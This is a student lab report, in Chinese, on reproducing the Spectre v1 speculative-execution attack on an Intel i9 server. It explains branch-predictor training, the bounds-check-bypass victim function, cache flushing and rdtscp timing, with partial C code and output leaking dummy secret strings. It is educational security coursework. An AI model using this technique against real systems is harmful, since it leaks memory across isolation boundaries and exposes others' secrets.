lab 5 spectre 攻击验证

于新雨 计25 2022010841

实验环境

本机 wsl 无法复现该攻击，上网查询和虚拟化有关，于是换了服务器跑，配置如下

```
processor       : 19
vendor_id       : GenuineIntel
cpu family      : 6
model           : 165
model name      : Intel(R) Core(TM) i9-10900K CPU @ 3.70GHz
```

代码原理分析

我们在准备阶段绑核和初始化内存，在训练阶段多次执行合法访问训练分支预测器，在攻击阶段注入恶意地址触发推测执行，在提取阶段通过时间侧信道分析泄露的数据，最后我们也输出了最佳候选与次佳候选的得分差，便于 debug

init-绑核

我们先用 `set_affinity` 绑核，防止 CPU 频繁切换核导致影响计时

```c
static int bind_to_cpu_core(int core_id) {
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core_id, &cpu_set);

    if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) == -1) {
        perror("Failed to bind to CPU core");
        return -1;
    }

    printf("Successfully bound to CPU core %d\n", core_id);
    return 0;
}
```

init-内存初始化

```c
static void initialize_arrays(void) {
    for (size_t i = 0; i < ARRAY2_SIZE; i++) {
        array2[i] = 1;
```

```
    }
}
```

我们确保array2在物理内存中，防止缺页中断干扰计时，通过写入所有元素强制操作系统分配物理页

init-内存布局

```
typedef struct {
    uint8_t unused1[64];  // 填充避免false sharing
    uint8_t data[160];    // 实际数据区域
    uint8_t unused2[64];  // 填充避免false sharing
} aligned_array_t;

static aligned_array_t array1_struct = {
    .data = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16}
};
```

这样确保数据不会跨缓存行，便于精确刷新，同时防止不同 cpu 核之间的 false sharing 问题 (但是我们绑核了，所以不做这步也行)

原理：victim function

```
static void victim_function(size_t x) {
    if (x < array1_size) {
        temp &= array2[array1_struct.data[x] * CACHE_LINE_SIZE];
    }
}
```

因为 CPU 推测执行会提前执行条件块内的代码，所以可以通过array2的访问模式泄露信息

原理：缓存刷新

```
static void flush_cache_lines(void) {
    for (int i = 0; i < MAX_RESULTS; i++) {
        _mm_clflush(&array2[i * CACHE_LINE_SIZE]);
    }
}
```

用 `_mm_clflush` 刷新缓存行，确保每次测量时都从内存重新加载数据

训练与攻击-索引计算

```
static size_t calculate_training_index(int iteration) {
    return iteration % array1_size;
}
```

我们生成合法访问模式训练分支预测器，让CPU学会预测条件(x < array1_size)为真

训练与攻击-合法访问和恶意访问混合

```
static size_t calculate_access_index(...) {
    size_t x = ((loop_iter % 6) - 1) & ~0xFFFF;
    x = (x | (x >> 16));
    return training_x ^ (x & (malicious_x ^ training_x));
}
```

我们使得每6次循环中有5次合法访问，1次恶意访问

时间侧信道

```
static void time_memory_accesses(...) {
    time1 = __rdtscp((unsigned int*)&junk);
    junk = *addr;
    time2 = __rdtscp((unsigned int*)&junk) - time1;

    if (time2 <= CACHE_HIT_THRESHOLD && ...) {
        results[mixed_index]++;
    }
}
```

这个是利用是否命中 cache 的速度差异，用 `rdtscp`，读取时间戳计数器，进行高精度计时
注意这个 CACHE_HIT_THRESHOLD 需要根据具体的处理器来进行 finetune，我们这边时间设置为 40

总结生成

我们最后找出缓存命中次数最多的索引，对应的字符即为所求

效果截图

```
static const char* secret_data[] = {
    "This is some sample sensitive data",
    "This is some other sample sensitive data"
};
```

代码中设置如下 sensitive data
提取结果如下

```
Reading at malicious_x = 0xffffffffffffdfc8... Success: 0x54='T' score=121 (second best: 0x00 score=56)
Reading at malicious_x = 0xffffffffffffdfc9... Success: 0x68='h' score=101 (second best: 0x05 score=48)
Reading at malicious_x = 0xffffffffffffdfca... Unclear: 0x69='i' score=999 (second best: 0x6A score=761)
Reading at malicious_x = 0xffffffffffffdfcb... Unclear: 0x73='s' score=999 (second best: 0x00 score=598)
Reading at malicious_x = 0xffffffffffffdfcc... Success: 0x20=' ' score=231 (second best: 0x00 score=115)
Reading at malicious_x = 0xffffffffffffdfcd... Unclear: 0x69='i' score=999 (second best: 0x00 score=683)
Reading at malicious_x = 0xffffffffffffdfce... Unclear: 0x73='s' score=999 (second best: 0x00 score=639)
Reading at malicious_x = 0xffffffffffffdfcf... Success: 0x20=' ' score=325 (second best: 0x05 score=160)
Reading at malicious_x = 0xffffffffffffdfd0... Success: 0x73='s' score=117 (second best: 0x05 score=56)
Reading at malicious_x = 0xffffffffffffdfd1... Success: 0x6F='o' score=209 (second best: 0x05 score=102)
Reading at malicious_x = 0xffffffffffffdfd2... Success: 0x6D='m' score=149 (second best: 0x05 score=72)
Reading at malicious_x = 0xffffffffffffdfd3... Success: 0x65='e' score=105 (second best: 0x05 score=50)
Reading at malicious_x = 0xffffffffffffdfd4... Success: 0x20=' ' score=181 (second best: 0x05 score=88)
Reading at malicious_x = 0xffffffffffffdfd5... Success: 0x73='s' score=131 (second best: 0x00 score=61)
Reading at malicious_x = 0xffffffffffffdfd6... Success: 0x61='a' score=197 (second best: 0x05 score=96)
Reading at malicious_x = 0xffffffffffffdfd7... Success: 0x6D='m' score=497 (second best: 0x00 score=244)
Reading at malicious_x = 0xffffffffffffdfd8... Unclear: 0x70='p' score=999 (second best: 0x00 score=680)
Reading at malicious_x = 0xffffffffffffdfd9... Success: 0x6C='l' score=343 (second best: 0x00 score=171)
Reading at malicious_x = 0xffffffffffffdfda... Unclear: 0x65='e' score=999 (second best: 0x00 score=515)
Reading at malicious_x = 0xffffffffffffdfdb... Success: 0x20=' ' score=201 (second best: 0x05 score=98)
Reading at malicious_x = 0xffffffffffffdfdc... Success: 0x73='s' score=265 (second best: 0x05 score=130)
Reading at malicious_x = 0xffffffffffffdfdd... Success: 0x65='e' score=385 (second best: 0x00 score=188)
Reading at malicious_x = 0xffffffffffffdfde... Success: 0x6E='n' score=351 (second best: 0x05 score=173)
Reading at malicious_x = 0xffffffffffffdfdf... Success: 0x73='s' score=169 (second best: 0x05 score=82)
Reading at malicious_x = 0xffffffffffffdfe0... Unclear: 0x69='i' score=999 (second best: 0x00 score=571)
Reading at malicious_x = 0xffffffffffffdfe1... Unclear: 0x74='t' score=999 (second best: 0x75 score=728)
Reading at malicious_x = 0xffffffffffffdfe2... Unclear: 0x69='i' score=999 (second best: 0x6A score=848)
Reading at malicious_x = 0xffffffffffffdfe3... Success: 0x76='v' score=245 (second best: 0x05 score=120)
Reading at malicious_x = 0xffffffffffffdfe4... Success: 0x65='e' score=171 (second best: 0x00 score=81)
Reading at malicious_x = 0xffffffffffffdfe5... Success: 0x20=' ' score=2
Reading at malicious_x = 0xffffffffffffdfe6... Success: 0x64='d' score=2
Reading at malicious_x = 0xffffffffffffdfe7... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffffdfe8... Success: 0x74='t' score=2
Reading at malicious_x = 0xffffffffffffdfe9... Success: 0x61='a' score=2
Reading at malicious_x = 0xffffffffffffdfea... Success: 0x00='?' score=159 (second best: 0x05 score=76)
Reading at malicious_x = 0xffffffffffffdfeb... Success: 0x00='?' score=87 (second best: 0x05 score=40)
Reading at malicious_x = 0xffffffffffffdfec... Success: 0x00='?' score=129 (second best: 0x05 score=63)
Reading at malicious_x = 0xffffffffffffdfed... Success: 0x00='?' score=327 (second best: 0x05 score=160)
```

```
Reading at malicious_x = 0xffffffffffffdffe... Unclear: 0x74='t' score=999 (second best: 0x75 score=650)
Reading at malicious_x = 0xffffffffffffdfff... Success: 0x68='h' score=333 (second best: 0x00 score=166)
Reading at malicious_x = 0xfffffffffffe000... Success: 0x65='e' score=275 (second best: 0x00 score=133)
Reading at malicious_x = 0xfffffffffffe001... Success: 0x72='r' score=237 (second best: 0x00 score=118)
Reading at malicious_x = 0xfffffffffffe002... Success: 0x20=' ' score=165 (second best: 0x05 score=80)
Reading at malicious_x = 0xfffffffffffe003... Success: 0x73='s' score=279 (second best: 0x00 score=139)
Reading at malicious_x = 0xfffffffffffe004... Success: 0x61='a' score=347 (second best: 0x05 score=171)
Reading at malicious_x = 0xfffffffffffe005... Success: 0x6D='m' score=319 (second best: 0x05 score=157)
Reading at malicious_x = 0xfffffffffffe006... Success: 0x70='p' score=765 (second best: 0x00 score=382)
Reading at malicious_x = 0xfffffffffffe007... Success: 0x6C='l' score=515 (second best: 0x00 score=253)
Reading at malicious_x = 0xfffffffffffe008... Success: 0x65='e' score=149 (second best: 0x05 score=72)
Reading at malicious_x = 0xfffffffffffe009... Success: 0x20=' ' score=323 (second best: 0x05 score=159)
Reading at malicious_x = 0xfffffffffffe00a... Success: 0x73='s' score=75 (second best: 0x05 score=35)
Reading at malicious_x = 0xfffffffffffe00b... Success: 0x65='e' score=429 (second best: 0x05 score=212)
Reading at malicious_x = 0xfffffffffffe00c... Success: 0x6E='n' score=165 (second best: 0x05 score=80)
Reading at malicious_x = 0xfffffffffffe00d... Success: 0x73='s' score=707 (second best: 0x00 score=349)
Reading at malicious_x = 0xfffffffffffe00e... Unclear: 0x69='i' score=998 (second best: 0x6A score=607)
Reading at malicious_x = 0xfffffffffffe00f... Unclear: 0x74='t' score=999 (second best: 0x75 score=822)
Reading at malicious_x = 0xfffffffffffe010... Unclear: 0x69='i' score=999 (second best: 0x6A score=587)
Reading at malicious_x = 0xfffffffffffe011... Unclear: 0x76='v' score=998 (second best: 0x00 score=541)
Reading at malicious_x = 0xfffffffffffe012... Success: 0x65='e' score=641 (second best: 0x00 score=316)
Reading at malicious_x = 0xfffffffffffe013... Success: 0x20=' ' score=169 (second best: 0x00 score=80)
Reading at malicious_x = 0xfffffffffffe014... Success: 0x64='d' score=143 (second best: 0x00 score=71)
Reading at malicious_x = 0xfffffffffffe015... Success: 0x61='a' score=213 (second best: 0x00 score=106)
Reading at malicious_x = 0xfffffffffffe016... Success: 0x74='t' score=319 (second best: 0x05 score=157)
Reading at malicious_x = 0xfffffffffffe017... Success: 0x61='a' score=857 (second best: 0x05 score=426)
Reading at malicious_x = 0xfffffffffffe018... Success: 0x00='?' score=95 (second best: 0x05 score=44)
Reading at malicious_x = 0xfffffffffffe019... Success: 0x25='%' score=213 (second best: 0x00 score=106)
Reading at malicious_x = 0xfffffffffffe01a... Success: 0x70='p' score=151 (second best: 0x05 score=73)
Reading at malicious_x = 0xfffffffffffe01b... Unclear: 0x00='?' score=996 (second best: 0x05 score=667)
Reading at malicious_x = 0xfffffffffffe01c... Success: 0x25='%' score=365 (second best: 0x05 score=180)
Reading at malicious_x = 0xfffffffffffe01d... Unclear: 0x64='d' score=999 (second best: 0x00 score=714)
Reading at malicious_x = 0xfffffffffffe01e... Unclear: 0x00='?' score=989 (second best: 0x05 score=615)
Reading at malicious_x = 0xfffffffffffe01f... Success: 0x52='R' score=75 (second best: 0x00 score=33)
Reading at malicious_x = 0xfffffffffffe020... Success: 0x65='e' score=157 (second best: 0x05 score=76)
Reading at malicious_x = 0xfffffffffffe021... Success: 0x61='a' score=107 (second best: 0x05 score=51)
Reading at malicious_x = 0xfffffffffffe022... Success: 0x64='d' score=401 (second best: 0x05 score=198)
Reading at malicious_x = 0xfffffffffffe023... Success: 0x69='i' score=679 (second best: 0x05 score=337)
```

可见成功恢复出了字符，并且该字符的命中率远高于其他